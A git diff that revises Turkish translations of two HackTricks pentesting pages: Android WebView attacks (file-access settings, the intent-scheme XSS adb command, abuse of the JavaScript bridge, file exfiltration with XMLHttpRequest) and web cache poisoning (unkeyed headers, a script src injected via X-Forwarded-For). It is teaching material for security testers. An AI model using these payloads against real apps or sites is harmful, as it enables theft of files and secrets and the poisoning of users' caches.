mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md
This commit is contained in:
parent
56536bef6c
commit
39ea0d63b7
5 changed files with 458 additions and 274 deletions
|
@ -1,116 +1,123 @@
|
|||
# WebView Saldırıları
|
||||
# Webview Saldırıları
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## WebView Yapılandırmaları ve Güvenlik Hakkında Basitleştirilmiş Kılavuz
|
||||
## WebView Yapılandırmaları ve Güvenliği Rehberi
|
||||
|
||||
### WebView Zafiyetlerinin Genel Bakışı
|
||||
|
||||
Android geliştirmenin kritik bir yönü, WebViews'ın doğru bir şekilde işlenmesini içerir. Bu kılavuz, WebView kullanımıyla ilişkili riskleri azaltmak için önemli yapılandırmaları ve güvenlik uygulamalarını vurgular.
|
||||
Android geliştirmenin kritik bir yönü, WebViews'in doğru şekilde işlenmesini içerir. Bu rehber, WebView kullanımıyla ilişkili riskleri azaltmak için temel yapılandırmaları ve güvenlik uygulamalarını vurgular.
|
||||
|
||||
![WebView Örneği](../../.gitbook/assets/image%20(718).png)
|
||||
![WebView Örneği](<../../.gitbook/assets/image (718).png>)
|
||||
|
||||
### **WebViews'da Dosya Erişimi**
|
||||
### **WebViews'de Dosya Erişimi**
|
||||
|
||||
Varsayılan olarak, WebViews dosya erişimine izin verir. Bu işlevsellik, Android API seviyesi 3'ten (Cupcake 1.5) beri mevcut olan `setAllowFileAccess()` yöntemi tarafından kontrol edilir. **android.permission.READ_EXTERNAL_STORAGE** iznine sahip uygulamalar, bir dosya URL şeması (`file://path/to/file`) kullanarak harici depolamadan dosyaları okuyabilir.
|
||||
Varsayılan olarak, WebViews dosya erişimine izin verir. Bu işlevsellik, Android API seviyesi 3'ten beri mevcut olan `setAllowFileAccess()` yöntemi tarafından kontrol edilir. **android.permission.READ\_EXTERNAL\_STORAGE** iznine sahip uygulamalar, dosya URL şemasını kullanarak dış depolamadan dosyaları okuyabilir (`file://path/to/file`).
|
||||
|
||||
#### **Kullanımdan Kaldırılan Özellikler: Evrensel ve URL'lerden Dosya Erişimi**
|
||||
|
||||
- **URL'lerden Evrensel Erişim**: Bu kullanımdan kaldırılan özellik, dosya URL'lerinden kökenler arası isteklere izin veriyordu ve potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski oluşturuyordu. Android Jelly Bean ve daha yeni sürümlere hedeflenen uygulamalar için varsayılan ayar devre dışı bırakılmıştır (`false`).
|
||||
- Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın.
|
||||
- Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın.
|
||||
|
||||
- **URL'lerden Dosya Erişimi**: Bu özellik de kullanımdan kaldırılmış olup, diğer dosya şema URL'lerinden içeriğe erişimi kontrol eder. Evrensel erişim gibi, varsayılan ayarı artırılmış güvenlik için devre dışıdır.
|
||||
- Kontrol etmek için `getAllowFileAccessFromFileURLs()` kullanın ve `setAllowFileAccessFromFileURLs(boolean)` kullanarak ayarlayın.
|
||||
* **Dosya URL'lerinden Evrensel Erişim**: Bu kullanımdan kaldırılan özellik, dosya URL'lerinden çapraz kökenli isteklere izin veriyordu ve potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski oluşturuyordu. Android Jelly Bean ve üzeri hedefleyen uygulamalar için varsayılan ayar devre dışı bırakılmıştır (`false`).
|
||||
* Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın.
|
||||
* Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın.
|
||||
* **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kullanımdan kaldırılmış olup, diğer dosya şema URL'lerinden içeriğe erişimi kontrol ediyordu. Evrensel erişim gibi, artırılmış güvenlik için varsayılan olarak devre dışı bırakılmıştır.
|
||||
* Kontrol etmek için `getAllowFileAccessFromFileURLs()` kullanın ve ayarlamak için `setAllowFileAccessFromFileURLs(boolean)` kullanın.
|
||||
|
||||
#### **Güvenli Dosya Yükleme**
|
||||
|
||||
Varlıklara ve kaynaklara erişirken dosya sistemine erişimi devre dışı bırakmak için `setAllowFileAccess()` yöntemi kullanılır. Android R ve üstü sürümlerde varsayılan ayar `false` olarak ayarlanmıştır.
|
||||
- `getAllowFileAccess()` ile kontrol edin.
|
||||
- `setAllowFileAccess(boolean)` ile etkinleştirin veya devre dışı bırakın.
|
||||
Varlıklara ve kaynaklara erişirken dosya sistemine erişimi devre dışı bırakmak için `setAllowFileAccess()` yöntemi kullanılır. Android R ve üzeri sürümlerde, varsayılan ayar `false`'dir.
|
||||
|
||||
* `getAllowFileAccess()` ile kontrol edin.
|
||||
* `setAllowFileAccess(boolean)` ile etkinleştirin veya devre dışı bırakın.
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
**WebViewAssetLoader** sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımdır. Aynı Köken politikasıyla uyumlu olması için http(s) URL'lerini kullanır ve bu şekilde CORS yönetimini kolaylaştırır.
|
||||
**WebViewAssetLoader** sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımı temsil eder. Yerel varlıklara ve kaynaklara erişmek için http(s) URL'lerini kullanır ve Aynı Köken Politikası ile uyumlu olarak çalışır, böylece CORS yönetimini kolaylaştırır.
|
||||
|
||||
### **JavaScript ve Intent Şema İşleme**
|
||||
### loadUrl
|
||||
|
||||
- **JavaScript**: WebViews'da varsayılan olarak devre dışıdır, `setJavaScriptEnabled()` aracılığıyla etkinleştirilebilir. JavaScript'i uygun güvenlik önlemleri olmadan etkinleştirmek, güvenlik açıklarına neden olabileceğinden dikkatli olunmalıdır.
|
||||
Bu, bir webviewde keyfi URL'leri yüklemek için yaygın olarak kullanılan bir fonksiyondur:
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
### **JavaScript ve Intent Scheme İşleme**
|
||||
|
||||
- **Intent Şeması**: WebViews, `intent` şemasını işleyebilir ve dikkatli yönetilmezse saldırılara yol açabilir. Bir örnek zafiyet, kötüye kullanılabilecek bir açık WebView parametresi olan "support_url" içeriyordu ve bu parametre üzerinden kök site komut dosyası (XSS) saldırıları gerçekleştirilebilirdi.
|
||||
- **JavaScript**: WebViews'de varsayılan olarak devre dışı bırakılmıştır, `setJavaScriptEnabled()` aracılığıyla etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi güvenlik açıklarına neden olabileceğinden dikkatli olunmalıdır.
|
||||
- **Intent Scheme**: WebViews, `intent` şemasını işleyebilir ve dikkatli yönetilmezse sömürülere yol açabilir. Bir örnek güvenlik açığı, kötü niyetli bir şekilde kullanılabilecek "support\_url" adlı açık bir WebView parametresini içeriyordu ve bu durum çapraz site komut dosyası (XSS) saldırılarına yol açabilirdi.
|
||||
|
||||
![Zafiyetli WebView](../../.gitbook/assets/image%20(719).png)
|
||||
![Zararlı WebView](<../../.gitbook/assets/image (719).png>)
|
||||
|
||||
adb kullanarak kötüye kullanma örneği:
|
||||
adb kullanarak sömürü örneği:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Javascript Köprüsü
|
||||
|
||||
Android tarafından sağlanan bir özellik, WebView'deki **JavaScript'in** **yerel Android uygulama işlevlerini** çağırmasını sağlar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden `addJavascriptInterface` yöntemi kullanılarak gerçekleştirilir ve _WebView JavaScript köprüsü_ olarak adlandırılır. Bu yöntem, kayıtlı JavaScript Arayüzü nesnesine WebView içindeki tüm sayfaların erişmesine izin verdiği için, hassas bilgilerin bu arayüzler aracılığıyla ifşa edilmesi durumunda güvenlik riski oluşturabilir.
|
||||
Android tarafından sağlanan bir özellik, bir WebView içindeki **JavaScript**'in **yerel Android uygulama işlevlerini** çağırmasını sağlar. Bu, JavaScript'i yerel Android işlevleriyle bütünleştiren `addJavascriptInterface` yöntemi kullanılarak gerçekleştirilir ve _WebView JavaScript köprüsü_ olarak adlandırılır. Bu yöntem, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüzü nesnesine erişmesine izin verdiği için dikkatli olunmalıdır; çünkü hassas bilgiler bu arayüzler aracılığıyla ifşa edilirse güvenlik riski oluşturabilir.
|
||||
|
||||
### Önemli Düşünceler
|
||||
* Android sürümü 4.2'den düşük hedefleyen uygulamalar için **son derece dikkatli olunmalıdır** çünkü kötü amaçlı JavaScript kullanarak yansımayı sömürerek uzaktan kod yürütme izni veren bir zafiyet bulunmaktadır.
|
||||
|
||||
- Android sürümü 4.2'nin altında hedeflenen uygulamalar için **aşırı dikkat** gereklidir, çünkü yansımayı kullanarak kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme izni veren bir zayıflık bulunmaktadır.
|
||||
#### Bir JavaScript Köprüsü Uygulamak
|
||||
|
||||
#### Bir JavaScript Köprüsü Uygulama
|
||||
|
||||
- **JavaScript arayüzleri**, örneklerde gösterildiği gibi yerel kodla etkileşimde bulunabilir, burada bir sınıf yöntemi JavaScript'e açıklanmıştır:
|
||||
* **JavaScript arayüzleri**, bir sınıf yönteminin JavaScript'e açıklandığı örneklerde olduğu gibi yerel kodla etkileşime geçebilir:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- JavaScript Köprüsü, WebView'e bir arayüz ekleyerek etkinleştirilir:
|
||||
* JavaScript Köprüsü, WebView'e bir arayüz eklenerek etkinleştirilir:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
- Potansiyel olarak JavaScript aracılığıyla sömürülebilirlik, örneğin XSS saldırısı yoluyla, açığa çıkarılmış Java yöntemlerinin çağrılmasına olanak sağlar:
|
||||
* JavaScript aracılığıyla potansiyel sömürü, örneğin bir XSS saldırısı yoluyla, açığa çıkarılan Java yöntemlerinin çağrılmasını sağlar:
|
||||
```html
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
- Riskleri azaltmak için, JavaScript köprüsü kullanımını APK ile birlikte gönderilen kodla sınırlayın ve uzaktan JavaScript yüklemeyi engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.
|
||||
* Riskleri azaltmak için, **JavaScript köprüsü kullanımını kısıtlayın** ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.
|
||||
|
||||
### Yansıma Tabanlı Uzaktan Kod Yürütme (RCE)
|
||||
### Yansıma Tabanlı Uzak Kod Yürütme (RCE)
|
||||
|
||||
- Belgeleme yöntemi, belirli bir yük ile yansıma yoluyla RCE elde etmeyi sağlar. Bununla birlikte, `@JavascriptInterface` işaretlemesi yetkisiz yöntem erişimini engeller ve saldırı yüzeyini sınırlar.
|
||||
* Belgelenmiş bir yöntem, belirli bir yükü çalıştırarak yansıma yoluyla RCE elde etmeyi sağlar. Bununla birlikte, `@JavascriptInterface` açıklaması izinsiz yöntem erişimini önler, saldırı yüzeyini sınırlar.
|
||||
|
||||
### Uzaktan Hata Ayıklama
|
||||
|
||||
- **Uzaktan hata ayıklama**, **Chrome Geliştirici Araçları** ile mümkündür ve WebView içeriği içinde etkileşim ve keyfi JavaScript yürütme sağlar.
|
||||
* **Uzaktan hata ayıklama**, **Chrome Geliştirici Araçları** ile mümkündür ve WebView içeriği içinde etkileşim ve keyfi JavaScript yürütme sağlar.
|
||||
|
||||
#### Uzaktan Hata Ayıklamayı Etkinleştirme
|
||||
#### Uzaktan Hata Ayıklamanın Etkinleştirilmesi
|
||||
|
||||
- Uzaktan hata ayıklama, bir uygulama içindeki tüm WebView'ler için etkinleştirilebilir:
|
||||
* Uzaktan hata ayıklama, bir uygulama içindeki tüm WebViews için şu şekilde etkinleştirilebilir:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
|
||||
* Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
## Keyfi Dosyaları Sızdırma
|
||||
## Keyfi Dosyaları Dışa Aktar
|
||||
|
||||
- Bir XMLHttpRequest kullanarak keyfi dosyaların nasıl sızdırılacağını gösterir:
|
||||
* Bir XMLHttpRequest kullanarak keyfi dosyaların dışa aktarılmasını gösterir:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
|
@ -122,20 +129,23 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
|
|||
xhr.send(null);
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) hakkında bilgi edinin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -26,55 +26,55 @@ Bugün Erişim Alın:
|
|||
|
||||
> **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?**
|
||||
>
|
||||
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü amaçlı içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
|
||||
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü niyetli içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
|
||||
> * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır.
|
||||
|
||||
## Önbellek Zehirlenmesi
|
||||
|
||||
Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirletilmiş yanıtın yalnızca önbellek kirliliği döneminde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
|
||||
Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirli yanıtın yalnızca önbelleğin kirletilme süresi içinde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
|
||||
|
||||
Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir:
|
||||
|
||||
1. **Anahtarsız Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
|
||||
2. **Anahtarsız Girişlerin Sömürülmesi**: Anahtarsız girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
|
||||
3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı, kirletilmiş yanıtı alacaktır.
|
||||
1. **Anahtarlanmamış Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
|
||||
2. **Anahtarlanmamış Girişlerin Sömürülmesi**: Anahtarlanmamış girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
|
||||
3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin kirletildiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı, kirli yanıtı alacaktır.
|
||||
|
||||
### Keşif: HTTP başlıklarını kontrol edin
|
||||
|
||||
Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken başlıkları bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu postada dikkat etmeniz gereken başlıkları kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Keşif: 400 kodunu önbelleğe alma
|
||||
|
||||
Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu durumda bir **durum kodu 400** ile yanıt verilecektir. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olup olmadığını kontrol edin, eğer öyleyse, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\
|
||||
Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da bir **durum kodu 400** ile yanıtlanmalıdır. Sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olduğunu gördüğünüzde, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\
|
||||
Kötü yapılandırılmış bir başlık sadece `\:` olabilir.\
|
||||
_Not: Bu tür durum kodlarının bazen önbelleğe alınmadığını unutmayın, bu test işe yaramaz olabilir._
|
||||
_Not: Bazen bu tür durum kodları önbelleğe alınmaz, bu yüzden bu test işe yaramaz olabilir._
|
||||
|
||||
### Keşif: Anahtarsız girişleri tanımlayın ve değerlendirin
|
||||
### Keşif: Anahtarlanmamış girişleri tanımlayın ve değerlendirin
|
||||
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek **parametreleri ve başlıkları brute-force** yöntemiyle belirleyebilirsiniz. Örneğin, bir sayfa istemciye oradan betiği yüklemesi için `X-Forwarded-For` başlığını kullanabilir:
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek **parametreleri ve başlıkları brute-force** edebilirsiniz. Örneğin, bir sayfa istemciye oradan betiği yüklemesi için `X-Forwarded-For` başlığını kullanabilir.
|
||||
```markup
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Zararlı bir yanıtı arka uç sunucudan çıkarın
|
||||
|
||||
Belirlenen parametre/başlık ile kontrol edin, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin kontrolünüzdeki bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...)
|
||||
Parametre/başlık belirlendikten sonra, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin kontrolünüzdeki bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...)
|
||||
|
||||
### Yanıtı önbelleğe alın
|
||||
|
||||
Kötüye kullanılabilecek **sayfayı**, hangi **parametre**/**başlığı** kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeler yapmanız gerekebilir.\
|
||||
Kötüye kullanılabilecek **sayfayı**, hangi **parametreyi/başlığı** kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\
|
||||
Yanıtta bulunan **`X-Cache`** başlığı, isteğin önbelleğe alınmadığı durumlarda **`miss`** değerine sahip olabileceği gibi, önbelleğe alındığında **`hit`** değerine sahip olabilir.\
|
||||
**`Cache-Control`** başlığı da kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için ilginç olabilir: `Cache-Control: public, max-age=1800`\
|
||||
Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak kullanılmayan ek başlıkları belirtmek için kullanılır. Bu nedenle, saldırgan, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent` kullanan kullanıcılar için önbelleği zehirleyebilir.\
|
||||
Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye süredir bulunduğunu tanımlar.
|
||||
**`Cache-Control`** başlığı da ilginç olabilir, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için: `Cache-Control: public, max-age=1800`\
|
||||
Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak kabul edilmeyen ek başlıkları belirtmek için kullanılır. Bu nedenle, saldırgan, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent` kullanan kullanıcılar için önbelleği zehirleyebilir.\
|
||||
Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca bulunduğunu tanımlar.
|
||||
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar olarak kullanılabilir** ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
|
||||
Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar** olarak kullanılabilir ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılarla** bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
|
||||
|
||||
## Sömürü Örnekleri
|
||||
|
||||
### En kolay örnek
|
||||
|
||||
`X-Forwarded-For` gibi bir başlık yanıtta temizlenmeden yansıtılıyor.\
|
||||
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS olacaktır:
|
||||
